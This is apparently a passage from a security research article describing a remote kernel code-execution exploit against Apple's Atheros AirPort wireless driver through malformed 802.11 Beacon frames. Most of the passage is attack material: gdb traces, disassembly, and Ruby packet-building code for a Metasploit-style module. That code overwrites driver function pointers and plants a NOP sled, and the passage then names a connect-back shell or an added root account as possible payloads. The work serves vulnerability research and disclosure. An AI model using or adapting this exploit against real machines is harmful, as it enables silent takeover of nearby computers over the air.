Informative Information for the Uninformed | ||||||||||||||
|
||||||||||||||
Getting Code ExecutionThe result of this flaw is that many things beyond the Extended Rate buffer in the ieee80211_scan_entry structure are corrupted. In a traditional stack overflow, control of execution flow is obtained directly by overwriting an important value, such as the return address. The corruption caused by the ``Extended Rate'' bug is more complicated due to the apparent lack of adjacent control structures. The most promising avenue for getting execution can be found in a function named ath_copy_scan_results. This function uses the fields that are overwritten to copy memory. An attacker can control the size of the copy and the source of the copy. In addition to crashing reliably on the same data, the size of the memcpy is two bytes wide meaning that up to 65535 bytes can be copied. Since the destination of the memcpy is a structure that ends with a function pointer, the hope is that enough data can written outside of the destination buffer to the point where the function pointer is overwritten. In this way, the next time the function pointer is called, the caller would instead jump to whatever address is now stored in the function pointer. In other words, this represents a two-stage overwrite. The first overwrite does not provide direct code execution, but it allows an attacker to create a second overwrite that will. The Beacon packet contains a number of buffers one can use for this second-stage overwrite. Thus, an overflow in one buffer in the packet (the Extended Rate IE) allows an attacker to control how a second buffer is copied (in this case, the Robust Security Network (RSN) IE). It is the copying of the second buffer that will permit code execution. Below are the registers and the stack trace of a call to the second memcpy that is being discussed.
(gdb) bt #0 0x001933de in memcpy_common () #1 0x038ce804 in ?? () #2 0x008c6083 in sta_iterate () #3 0x008e52b7 in AirPort_Athr5424::ieee80211_notify_scan_done () #4 0x008e55b9 in AirPort_Athr5424::setSCAN_REQ () <edited for length> (gdb) info registers eax 0xaca0000 181010432 ecx 0xc98 3224 edx 0x3263 12899 ebx 0x8 8 esp 0xc71b714 0xc71b714 ebp 0xc71b758 0xc71b758 esi 0x41316341 1093755713 edi 0xaca0000 181010432 eip 0x1933de 0x1933de eflags 0x10203 66051 cs 0x8 8 ss 0x10 16 ds 0x120010 1179664 es 0xc710010 208732176 fs 0x10 16 gs 0x900048 9437256 (gdb) EDX contains the size of the copy before its loaded into ECX. The bytes in sequence were 0x41 0x63 0x31 0x41 0x32 0x63 meaning that the source address (what is found in ESI) and the copy size are adjacent to one other in the packet. The pattern that overwrote the buffer was also always 0x41 from the start of the ``Extended Rate'' field in the Beacon packet. Although this seems like an interesting plan, a call to IOMalloc right before the memcpy makes sure the destination buffer has enough space for the copy. Additionally, although a copy of up to 0xffff bytes is possible, it's not actually writing outside of any bounds. The disassembly for the memcpy call in ath_copy_scan_results is shown below:
__text:000260AA call near ptr _IOMalloc __text:000260AF mov edx, eax __text:000260B1 mov ecx, [ebp+var_1C] __text:000260B4 mov [ecx+88h], eax __text:000260BA test eax, eax __text:000260BC jz loc_262C8 __text:000260C2 movzx eax, word ptr [esi+84h] __text:000260C9 mov [esp+38h+var_30], eax __text:000260CD mov eax, [esi+80h] __text:000260D3 mov [esp+38h+var_34], eax __text:000260D7 mov [esp+38h+var_38], edx __text:000260DA call near ptr _memcpy The author could go on for hours about what other methods also did not work, but what does work seems more interesting. Luckily, almost immediately after the corruption of memory, the driver calls a function named ieee80211_savie four times. The purpose of these calls is to save other Information Elements (such as RSN, WME, and WPA) from the Beacon frame into the sta_entry structure. The source code from the Madwifi version of ieee80211_saveie:
void ieee80211_saveie(u_int8_t **iep, const u_int8_t *ie) { u_int ielen = ie[1] + 2; /* * Record information element for later use. */ if (*iep == NULL || (*iep)[1] != ie[1]) { if (*iep != NULL) FREE(*iep, M_DEVBUF); MALLOC(*iep, void*, ielen, M_DEVBUF, M_NOWAIT); } if (*iep != NULL) memcpy(*iep, ie, ielen); } A quick synopsis of this function's purpose is that a pointer to a pointer is passed as the address to copy data to. There is some sanity checking to see if the destination address is NULL or if the size of the stored buffer at the destination address is different than the one just passed in. If either of these conditions are true, a new buffer is malloced and the memcpy works just fine. Since an attacker can control every element in the structure that's passed in as the place to save the buffer to, the check to see if a malloc should be performed can be avoided and the buffer can be copied anywhere into memory the attacker chooses. This is pretty simple. All that needed is the address the data will be copied to, plus 1, equals the length of the IE buffer that is to be saved. Although there are countless possibilities for what to overwrite, the target buffer needs to meet a few basic requirements. Preferably, an attacker will overwrite a function pointer. Since it seems that the driver loads at the same address every time, overwriting something that that is a fixed offset inside the driver is preferable to minimize the amount of damage done outside the driver because one will want the machine to keep running long enough to execute a payload. There is a structure called sta_default. This structure keeps function pointers needed to carry out certain elements of driver operations and luckily it appears to be recreated quite often so that any damage done to it could automatically repair itself. Here is the structure from the Madwifi source code:
static const struct ieee80211_scanner sta_default = { .scan_name = "default", .scan_attach = sta_attach, .scan_detach = sta_detach, .scan_start = sta_start, .scan_restart = sta_restart, .scan_cancel = sta_cancel, .scan_end = sta_pick_bss, .scan_flush = sta_flush, .scan_add = sta_add, .scan_age = sta_age, .scan_iterate = sta_iterate, .scan_assoc_fail = sta_assoc_fail, .scan_assoc_success = sta_assoc_success, .scan_default = ieee80211_sta_join, }; During actual live debugging its contents can be seen as:
(gdb) x/20x sta_default 0x931ee0 <sta_default>: 0x0092e050 0x008f1543 0x008f16c6 0x008f18c7 0x931ef0 <sta_default+16>: 0x008f19b5 0x008f19cc 0x008f2b7d 0x008f1694 0x931f00 <sta_default+32>: 0x008f2e2f 0x008f261e 0x008f20bb 0x008f2188 0x931f10 <sta_default+48>: 0x008f1fd5 0x00000000 0x00000000 0x00000000 0x931f20 <chanflags>: 0x000000a0 0x00000140 0x000000a0 0x000000c0 (gdb) As an initial test, the author overwrote every function pointer in the structure with a pattern such as 0x61413761 (or aA7a in ASCII, which is the typical Metasploit buffer padding pattern). A crash dump with an error message about failing to execute code at a bad address like 0x61413761 proves that remote code execution is theoretically possible. To help better understand this, it is helpful to single-step through the sta_add function after sending an Extended Rate IE that is larger than 100 bytes. It is also helpful to then single-step through the function that handles saving the RSN IE buffer from the packet called. Finally, it is useful to single-step through the ieee80211_saveie until the size comparison is hit. The kernel should crash the next time any of the overwritten function pointers are called. The code used to generate the packet during this single step is shown below:
ssid = Rex::Text.rand_text_alphanumeric(rand(255)) bssid = "\x61\x61\x61" + Rex::Text.rand_text(3) seq = [rand(255)].pack('n') xrate = make_xrate() rsn = make_rsn() frame = "\x80" + "\x00" + "\x00\x00" + "\xff\xff\xff\xff\xff\xff" + bssid + bssid + seq + Rex::Text.rand_text(8) + "\xff\xff" + Rex::Text.rand_text(2) + #ssid tag "\x00" + ssid.length.chr + ssid + #supported rates "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + #current channel "\x03" + "\x01" + channel.chr + #Xrate xrate + #RSN rsn def make_xrate #calculate the offset that RSN needs to overwrite staRsnOff = 0x4aee0 kextAddr = datastore['KEXT_OFF'].to_i staStruct = kextAddr + staRsnOff #build the xrate_frame xrate_build = Rex::Text.pattern_create(240) #base of IE #crashes often occur in the following locations so they are blanked xrate_build[67, 2]="\x00\x00" xrate_build[71, 4]="\x00\x00\x00\x00" xrate_build[79, 4]="\x00\x00\x00\x00" #Overwrite address for RSN element xrate_build[55, 4]=[staStruct].pack('V') xrate_frame = "\x32" + xrate_build.length.chr + xrate_build return xrate_frame end def make_rsn rsn_data = Rex::Text.pattern_Create(223) rsn_frame = "\x30" + rsn_data.length.chr + rsn_data return rsn_frame end And the associated single-step through the functions:
Breakpoint 4, 0x008f3188 in sta_add () 2: x/i $eip 0x8f3188 <sta_add+857>: mov DWORD PTR [esp+8],eax (gdb) advance *0x8f32fe 0x008f32fe in sta_add () 2: x/i $eip 0x8f32fe <sta_add+1231>: call 0x8f521b <ieee80211_saveie> (gdb) stepi 0x008f521b in ieee80211_saveie () 2: x/i $eip 0x8f521b <ieee80211_saveie>: push ebp (gdb) 0x008f521c in ieee80211_saveie () 2: x/i $eip 0x8f521c <ieee80211_saveie+1>: mov ebp,esp (gdb) 0x008f521e in ieee80211_saveie () 2: x/i $eip 0x8f521e <ieee80211_saveie+3>: push edi (gdb) 0x008f521f in ieee80211_saveie () 2: x/i $eip 0x8f521f <ieee80211_saveie+4>: push esi (gdb) 0x008f5220 in ieee80211_saveie () 2: x/i $eip 0x8f5220 <ieee80211_saveie+5>: push ebx (gdb) 0x008f5221 in ieee80211_saveie () 2: x/i $eip 0x8f5221 <ieee80211_saveie+6>: sub esp,0x2c (gdb) 0x008f5224 in ieee80211_saveie () 2: x/i $eip 0x8f5224 <ieee80211_saveie+9>: mov edi,DWORD PTR [ebp+8] (gdb) 0x008f5227 in ieee80211_saveie () 2: x/i $eip 0x8f5227 <ieee80211_saveie+12>: mov eax,DWORD PTR [ebp+12] (gdb) 0x008f522a in ieee80211_saveie () 2: x/i $eip 0x8f522a <ieee80211_saveie+15>: movzx edx,BYTE PTR [eax+1] (gdb) 0x008f522e in ieee80211_saveie () 2: x/i $eip 0x8f522e <ieee80211_saveie+19>: movzx ebx,dl (gdb) info registers eax 0x1e3ae130 507175216 ecx 0xc8cbc8c 210549900 edx 0xe0 224 ebx 0x388f004 59305988 esp 0xc8cba9c 0xc8cba9c ebp 0xc8cbad4 0xc8cbad4 esi 0x388f004 59305988 edi 0x388f07c 59306108 eip 0x8f522e 0x8f522e <ieee80211_saveie+19> eflags 0x216 534 cs 0x8 8 ss 0x10 16 ds 0x10 16 es 0x190010 1638416 fs 0xc8c0010 210501648 gs 0x48 72 (gdb) stepi 0x008f5231 in ieee80211_saveie () 2: x/i $eip 0x8f5231 <ieee80211_saveie+22>: lea eax,[ebx+2] (gdb) 0x008f5234 in ieee80211_saveie () 2: x/i $eip 0x8f5234 <ieee80211_saveie+25>: mov DWORD PTR [ebp-28],eax (gdb) 0x008f5237 in ieee80211_saveie () 2: x/i $eip 0x8f5237 <ieee80211_saveie+28>: mov eax,DWORD PTR [edi] (gdb) 0x008f5239 in ieee80211_saveie () 2: x/i $eip 0x8f5239 <ieee80211_saveie+30>: test eax,eax (gdb) 0x008f523b in ieee80211_saveie () 2: x/i $eip 0x8f523b <ieee80211_saveie+32>: je 0x8f5254 <ieee80211_saveie+57> (gdb) 0x008f523d in ieee80211_saveie () 2: x/i $eip 0x8f523d <ieee80211_saveie+34>: cmp dl,BYTE PTR [eax+1] (gdb) info registers eax 0x931ee0 9641696 ecx 0xc8cbc8c 210549900 edx 0xe0 224 ebx 0xe0 224 esp 0xc8cba9c 0xc8cba9c ebp 0xc8cbad4 0xc8cbad4 esi 0x388f004 59305988 edi 0x388f07c 59306108 eip 0x8f523d 0x8f523d <ieee80211_saveie+34> eflags 0x202 514 cs 0x8 8 ss 0x10 16 ds 0x10 16 es 0x190010 1638416 fs 0xc8c0010 210501648 gs 0x48 72 (gdb) x/20x $eax 0x931ee0 <sta_default>: 0x0092e050 0x008f1543 0x008f16c6 0x008f18c7 0x931ef0 <sta_default+16>: 0x008f19b5 0x008f19cc 0x008f2b7d 0x008f1694 0x931f00 <sta_default+32>: 0x008f2e2f 0x008f261e 0x008f20bb 0x008f2188 0x931f10 <sta_default+48>: 0x008f1fd5 0x00000000 0x00000000 0x00000000 0x931f20 <chanflags>: 0x000000a0 0x00000140 0x000000a0 0x000000c0 (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x61413761 in ?? () 1: x/i $eip 0x61413761: Disabling display 1 to avoid infinite recursion. Cannot access memory at address 0x61413761 (gdb) bt #0 0x61413761 in ?? () #1 0x008e977c in scan_next () Previous frame inner to this frame (corrupt stack?) (gdb) As can be seen above, the kernel attempted to execute an instruction at the invalid address 0x61413761. This address was provided in the generated packet. While this does not show actual cod execution, it does prove that code execution is possible. An attacker can overwrite every member of that structure with the address to arbitrary memory that is controllable. Since one has to match the size of the base of sta_default+1, the buffer needs to be 0xe0 in length. This means that since sta_default is 64 bytes, one writes more than is needed. Immediately after sta_default in memory is a structure called chanflags which is also at a predictable address. To execute code of an attacker's choosing, the remainder of the RSN IE buffer can be packed with nops that will end with 0xcc 0xcc 0xcc 0xcc which will cause a trap to the debugger making it possible to exam the state and verify code actually executed. (0xcc is the machine code for the int 3 assembly instruction, which causes a processor interrupt that a debugger can safely catch). This is an important step as OS X claims to have NX protection that would prohibit certain memory regions from executing code. Executing a NOP sled then 0xcc will prove that protection technologies like NX do not affect execution in this situation. The following Ruby code shows how the packet described above can be generated:
ssid = Rex::Text.rand_text_alphanumeric(rand(255)) bssid = "\x61\x61\x61" + Rex::Text.rand_text(3) seq = [rand(255)].pack('n') xrate = make_xrate() rsn = make_rsn() frame = "\x80" + "\x00" + "\x00\x00" + "\xff\xff\xff\xff\xff\xff" + bssid + bssid + seq + Rex::Text.rand_text(8) + "\xff\xff" + Rex::Text.rand_text(2) + #ssid tag "\x00" + ssid.length.chr + ssid + #supported rates "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + #current channel "\x03" + "\x01" + channel.chr + #Xrate xrate + #RSN rsn def make_xrate #calculate the offset that RSN needs to overwrite staRsnOff = 0x4aee0 kextAddr = datastore['KEXT_OFF'].to_i staStruct = kextAddr + staRsnOff #build the xrate_frame xrate_build = Rex::Text.pattern_create(240) #base of IE #crashes often occur in the following locations so they are blanked xrate_build[67, 2]="\x00\x00" xrate_build[71, 4]="\x00\x00\x00\x00" xrate_build[79, 4]="\x00\x00\x00\x00" #Overwrite address for RSN element xrate_build[55, 4]=[staStruct].pack('V') xrate_frame = "\x32" + xrate_build.length.chr + xrate_build return xrate_frame end def make_rsn #calculate the address to overwrite the sta_default rsnTargetOff = 0x4af20 kextAddr = datastore['KEXT_OFF'].to_i rsnOvrAddr = kextAddr + rsnTargetOff #need two bytes for alingment rsn_pad = "\x00\x00" #copy the address of the payload over ever element in sta_default rsnAddrTmp=[rsnOvrAddr].pack('V') rsn_overwrite_addr = (rsnAddrTmp * 15) rsn_code_size = 162 rsn_code = ("\x90" * rsn_code_size) rsn_code[10, 4]="\xcc\xcc\xcc\xcc" rsn_build = rsn_pad + rsn_overwrite_addr + rsn_code rsn_frame = "\x30" + rsn_build.length.chr + rsn_build return rsn_frame end After firing off this packet, the debugger breaks on a breakpoint trap:
(gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x00931f2b in chanflags () 2: x/i $eip 0x931f2b <chanflags+11>: int3 (gdb) info registers eax 0x931ee0 9641696 ecx 0x431bde83 1125899907 edx 0x0 0 ebx 0x31cf9 204025 esp 0xc863ed8 0xc863ed8 ebp 0xc863f64 0xc863f64 esi 0x380346c 58733676 edi 0x3801004 58724356 eip 0x931f2b 0x931f2b <chanflags+11> eflags 0x246 582 cs 0x8 8 ss 0x10 16 ds 0x10 16 es 0xa4810010 -1535049712 fs 0x10 16 gs 0x12260048 304480328 (gdb) x/i $eip 0x931f2b <chanflags+11>: int3 (gdb) x/i $eip-1 0x931f2a <chanflags+10>: int3 (gdb) x/i $eip-2 0x931f29 <chanflags+9>: nop (gdb) The previous instruction was an int 3 and before that was a NOP. This proves that the code execution test was successful. As it stands one needs 64 bytes to overwrite sta_default and the RSN buffer has to be 48 bytes long which leaves 160 bytes for first stage shellcode. This is more than enough to locate and execute a second stage. In other words, the Apple driver will copy five IEs from the original packet. One can cause an overflow in one of these elements, the Extended Rate IE, to overwrite structures that determine how the remaining four elements are copied. The copy of the RSN IE is chosen to make it possible to overwrite function pointers and store a first stage shellcode. The remaining three IEs, roughly 765 bytes in total, can be used to contain the real shellcode that does something useful, such as a connect-back shell, add a root user account, or play fun sounds on the speaker.
|